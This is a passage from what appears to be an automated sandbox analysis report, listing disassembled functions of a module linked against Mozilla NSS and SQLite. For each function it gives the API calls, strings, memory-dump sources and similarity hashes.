memset.VCRUNTIME140(00000000,00000000,?,?,6CF6BE66), ref: 6D0A6E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CF6BE66), ref: 6D0A6E98
sqlite3_snprintf.NSS3(?,00000000,6D10AAF9,?,?,?,?,?,?,6CF6BE66), ref: 6D0A6EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CF6BE66), ref: 6D0A6ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CF6BE66), ref: 6D0A6EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CF6BE66), ref: 6D0A6F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CF6BE66), ref: 6D0A6F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CF6BE66), ref: 6D0A6F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CF6BE66), ref: 6D0A6FA6
sqlite3_snprintf.NSS3(?,00000000,6D10AAF9,00000000,?,?,?,?,?,?,?,6CF6BE66), ref: 6D0A6FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CF6BE66), ref: 6D0A6FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CF6BE66), ref: 6D0A6FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CF6BE66), ref: 6D0A7014
sqlite3_free.NSS3(00000000,?,?,?,?,6CF6BE66), ref: 6D0A701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CF6BE66), ref: 6D0A7030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CF6BE66), ref: 6D0A705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CF6BE66), ref: 6D0A7079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CF6BE66), ref: 6D0A7097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CF6BE66), ref: 6D0A70A0

Strings

mz_etilqs_, xrefs: 6D0A6F18
winGetTempname4, xrefs: 6D0A7046
winGetTempname2, xrefs: 6D0A70C4
winGetTempname1, xrefs: 6D0A708F
winGetTempname5, xrefs: 6D0A7071

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: e93c3b6caae9280bbb97da5266b65f99547cbc715612744a7c941173f1160e8a
Instruction ID: 7834c4fae8d3f7ced63d37342bd855932674d378f8ed235c53f899ea689b3350
Opcode Fuzzy Hash: e93c3b6caae9280bbb97da5266b65f99547cbc715612744a7c941173f1160e8a
Instruction Fuzzy Hash: 9B519BB1F045216BF3059274AC55FBF36669F92314F488138EA11973C7FF62991E82E2

Function 6D034FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000,00000000,00000001), ref: 6D035009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2,00000000), ref: 6D035049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6D03505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6D035071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6D035089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D0350A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6D0350B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFE75C2), ref: 6D0350CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6D0350D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D0350F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D035103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D03511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D03512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D035145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D035153
free.MOZGLUE(?), ref: 6D03516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6D03517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6D035195

Strings

config=, xrefs: 6D03509B
parameters=, xrefs: 6D03506B
name=, xrefs: 6D035057
library=, xrefs: 6D035043
nss=, xrefs: 6D035083

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: ae683e2ec34fd0db17e0eb72632435b422bfe10978e59ddebd6d36f7c52c6f7e
Instruction ID: ace8de6f8d3f571729f91daa17642e69a442b83e5a90b66513b851ba9cc0e5ca
Opcode Fuzzy Hash: ae683e2ec34fd0db17e0eb72632435b422bfe10978e59ddebd6d36f7c52c6f7e
Instruction Fuzzy Hash: DC5173B9914227AFFB01CF24EC45BBE37A8AF06244F060020ED55E7251E766E915CBF2

Function 6D034C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6D024F51,00000000), ref: 6D034C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6D024F51,00000000), ref: 6D034C5B
PR_smprintf.NSS3(6D10AAF9,?,0000002F,?,?,?,00000000,00000000,?,6D024F51,00000000), ref: 6D034C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6D024F51,00000000), ref: 6D034CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6D034CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6D034CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6D034D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6D024F51,00000000), ref: 6D034D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6D024F51,00000000), ref: 6D034D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6D034D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6D034DA2
free.MOZGLUE(?), ref: 6D034DB9
free.MOZGLUE(00000000), ref: 6D034DCF

Strings

slotFlags, xrefs: 6D034D34
0x%08lx=[%s %s], xrefs: 6D034D80
every, xrefs: 6D034CA1
timeout, xrefs: 6D034C91
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6D034D9D
any, xrefs: 6D034C96
ootT, xrefs: 6D034D1A
%s,%s, xrefs: 6D034C4B
rust, xrefs: 6D034D22
rootFlags, xrefs: 6D034D47

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 0d581f51f1d3074c9bcaa8f3f3452b52d44aeeaeddcbc731ab9fa4d0198b2d58
Instruction ID: 52ed255932ab9c18555b1dcadc41d978d1805af2d857d435bceac89a589834c2
Opcode Fuzzy Hash: 0d581f51f1d3074c9bcaa8f3f3452b52d44aeeaeddcbc731ab9fa4d0198b2d58
Instruction Fuzzy Hash: F94159B1C101537BEB126F199C44BBB3AA5AF8A308F064124E8155F306EB76D954C7D3

Function 6D016910 Relevance: 38.6, APIs: 15, Strings: 7, Instructions: 131COMMON

Download Yara Rule

APIs

NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6D016943

Part of subcall function 6D034210: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,8FA990EB,flags,?,00000000,?,6D015947,flags,printPolicyFeedback,?,?,?,?,?,?,00000000), ref: 6D034220
Part of subcall function 6D034210: NSSUTIL_ArgGetParamValue.NSS3(?,6D015947,?,?,?,?,?,?,00000000,?,00000000,?,6D017703,?,00000000,00000000), ref: 6D03422D
Part of subcall function 6D034210: PL_strncasecmp.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6D017703), ref: 6D03424B
Part of subcall function 6D034210: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6D017703,?,00000000), ref: 6D034272

NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6D016957
NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6D016972
NSSUTIL_ArgStrip.NSS3(00000000), ref: 6D016983

Part of subcall function 6D033EA0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(8914C483,70E85609,6D00C79F,?,6D016247,70E85609,?,?,6D00C79F,6D01781D,?,6D00BD52,00000001,70E85609,D85D8B04,?), ref: 6D033EB8

PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6D0169AA
PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6D0169BE
PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6D0169D2
NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6D0169DF

Part of subcall function 6D034020: isspace.API-MS-WIN-CRT-STRING-L1-1-0(FFFFEF69,00000000,?,?,77534C80,?,6D0350B7,?), ref: 6D034041

free.MOZGLUE(00000000), ref: 6D0169F6
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6D016A04
free.MOZGLUE(00000000), ref: 6D016A1B
NSSUTIL_ArgFetchValue.NSS3(-0000000B,?), ref: 6D016A29
free.MOZGLUE(00000000), ref: 6D016A3F
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6D016A4D
NSSUTIL_ArgStrip.NSS3(?), ref: 6D016A5B

Strings

flags, xrefs: 6D016937, 6D016942, 6D016956, 6D01696D
nokeydb, xrefs: 6D016968
nocertdb, xrefs: 6D016951
keyPrefix=, xrefs: 6D0169CC
readOnly, xrefs: 6D01693D
certPrefix=, xrefs: 6D0169B8
configdir=, xrefs: 6D0169A4

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: L_strncasecmpValuefree$FetchFlag$Stripisspace$ParamParameterSkipstrlen
String ID: certPrefix=$configdir=$flags$keyPrefix=$nocertdb$nokeydb$readOnly
API String ID: 2065226673-2785624044
Opcode ID: a7c22a17d21fd39b7199e577553ca35722eef1857430bae8658a1c58b945f884
Instruction ID: 07b45e54678c61a0a2339d4b0e4f3ea9e6799c1b9dd3fed70d561c0283ae32a4
Opcode Fuzzy Hash: a7c22a17d21fd39b7199e577553ca35722eef1857430bae8658a1c58b945f884
Instruction Fuzzy Hash: A941A3F5E082066BF700DBB5AC95B6B77ACAF05248F890430EA05E7246F775DA14C7E1

Function 6CFDDDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CFDDDDE

Part of subcall function 6D030FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFD87ED,00000800,6CFCEF74,00000000), ref: 6D031000
Part of subcall function 6D030FF0: PR_NewLock.NSS3(?,00000800,6CFCEF74,00000000), ref: 6D031016
Part of subcall function 6D030FF0: PL_InitArenaPool.NSS3(00000000,security,6CFD87ED,00000008,?,00000800,6CFCEF74,00000000), ref: 6D03102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CFDDDF5

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CFDDE34
PR_Now.NSS3 ref: 6CFDDE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6CFDDE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFDDEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CFDDEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CFDDED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6CFDDEF0
PR_smprintf.NSS3(6D10AAF9,(NULL) (Validity Unknown)), ref: 6CFDDF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFDDF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CFDDF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6CFDDF33
free.MOZGLUE(00000000), ref: 6CFDDF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFDDF4B
free.MOZGLUE(00000000), ref: 6CFDDF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFDDF8E

Strings

{???}, xrefs: 6CFDDE8B
(NULL) (Validity Unknown), xrefs: 6CFDDEFA
%s%s, xrefs: 6CFDDEEB

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: d9e0941a2f75bdcf13ffdfa116d85db8bd5e222ce191b704811701d1b32fb8de
Instruction ID: a9f69520cab01325a510b6d7ac0dbb738517730f0d25c53d7f41b9a662bdef83
Opcode Fuzzy Hash: d9e0941a2f75bdcf13ffdfa116d85db8bd5e222ce191b704811701d1b32fb8de
Instruction Fuzzy Hash: 3551A3B1D042165BEB109F659C41BAF7BB9AF85358F1A4028E809EB705E731E900CBF2

Function 6D012D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6D012DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6D012E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6D012E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6D012E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CFE4F1C,?,-00000001,00000000,?), ref: 6D012E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CFE4F1C,?,-00000001,00000000), ref: 6D012E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6D012EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6D012EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6D012EF8
PR_Unlock.NSS3(?), ref: 6D012F62
TlsGetValue.KERNEL32 ref: 6D012F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6D012F9E
PR_Unlock.NSS3(?), ref: 6D012FCA
TlsGetValue.KERNEL32 ref: 6D01301A
EnterCriticalSection.KERNEL32(?), ref: 6D01302E
PR_Unlock.NSS3(?), ref: 6D013066
PR_SetError.NSS3(00000000,00000000), ref: 6D013085
PR_Unlock.NSS3(?), ref: 6D0130EC
TlsGetValue.KERNEL32 ref: 6D01310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6D013124
PR_Unlock.NSS3(?), ref: 6D01314C

Part of subcall function 6CFF9180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6D02379E,?,6CFF9568,00000000,?,6D02379E,?,00000001,?), ref: 6CFF918D
Part of subcall function 6CFF9180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6D02379E,?,6CFF9568,00000000,?,6D02379E,?,00000001,?), ref: 6CFF91A0

Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07AD
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07CD
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07D6
Part of subcall function 6CFC07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CF5204A), ref: 6CFC07E4
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,6CF5204A), ref: 6CFC0864
Part of subcall function 6CFC07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CFC0880
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,6CF5204A), ref: 6CFC08CB
Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(?,?,6CF5204A), ref: 6CFC08D7
Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(?,?,6CF5204A), ref: 6CFC08FB

PR_SetError.NSS3(00000000,00000000), ref: 6D01316D

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 37d5b9ed4e92cc675e20586eebec3b63632a142c4647f6761a15bdd7518b27db
Instruction ID: c9cd133b67467e5e76c5e18d83c7f6715ac61273a3e2fb9a0697480d14bf180d
Opcode Fuzzy Hash: 37d5b9ed4e92cc675e20586eebec3b63632a142c4647f6761a15bdd7518b27db
Instruction Fuzzy Hash: A2F1ABB5D04209AFEF11DFA4EC85BAEBBB5BF0A314F054168EC04A7211E771E895CB91

Function 6CFF9FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CFF9FBE

Part of subcall function 6CFD2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CFD2F0A
Part of subcall function 6CFD2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CFD2F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CFFA015

Part of subcall function 6D011940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6D01563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6D01195C
Part of subcall function 6D011940: EnterCriticalSection.KERNEL32(?,?,6D01563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6CFEEAC5,00000001), ref: 6D011970
Part of subcall function 6D011940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6CFEEAC5,00000001,?,6CFECE9B,00000001,6CFEEAC5), ref: 6D0119A0

PL_FreeArenaPool.NSS3(?), ref: 6CFFA067
PR_CallOnce.NSS3(6D132AA4,6D0312D0), ref: 6CFFA055

Part of subcall function 6CF54C70: TlsGetValue.KERNEL32(?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54C97
Part of subcall function 6CF54C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54CB0
Part of subcall function 6CF54C70: PR_Unlock.NSS3(?,?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFFA07E
PR_CallOnce.NSS3(6D132AA4,6D0312D0), ref: 6CFFA0B1
PL_FreeArenaPool.NSS3(?), ref: 6CFFA0C7
PL_FinishArenaPool.NSS3(?), ref: 6CFFA0CF
PR_CallOnce.NSS3(6D132AA4,6D0312D0), ref: 6CFFA12E
PL_FreeArenaPool.NSS3(?), ref: 6CFFA140
PL_FinishArenaPool.NSS3(?), ref: 6CFFA148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFFA158
PL_FinishArenaPool.NSS3(?), ref: 6CFFA175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6CFFA1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6CFFA1B2
free.MOZGLUE(00000000), ref: 6CFFA1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6CFFA1D6

Part of subcall function 6D0155E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6CFEEAC5,00000001,?,6CFECE9B,00000001,6CFEEAC5,00000003,-00000004,00000000,?,6CFEEAC5), ref: 6D015627
Part of subcall function 6D0155E0: PR_CallOnce.NSS3(6D132AA4,6D0312D0,?,?,?,?,?,?,?,?,?,?,6CFEEAC5,00000001,?,6CFECE9B), ref: 6D01564F
Part of subcall function 6D0155E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CFEEAC5,00000001), ref: 6D015661
Part of subcall function 6D0155E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CFEEAC5), ref: 6D0156AF

Strings

security, xrefs: 6CFFA00F

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 5bfe018cf34fe37b459dbe0b1bff088fbef4ab4c0a78ed0ed0b5719d019e37ef
Instruction ID: c4e553a205ba1d454ae042ae9cc4bd0097e0864b8cbcd1a8ef5426f66b6a4221
Opcode Fuzzy Hash: 5bfe018cf34fe37b459dbe0b1bff088fbef4ab4c0a78ed0ed0b5719d019e37ef
Instruction Fuzzy Hash: 3951F6B5D04209ABEB109BA4EC44FAF73B4EF4570CF134124E9256B762E771E50ACB92

Function 6D016CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6D016910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6D016943
Part of subcall function 6D016910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6D016957
Part of subcall function 6D016910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6D016972
Part of subcall function 6D016910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6D016983
Part of subcall function 6D016910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6D0169AA
Part of subcall function 6D016910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6D0169BE
Part of subcall function 6D016910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6D0169D2
Part of subcall function 6D016910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6D0169DF
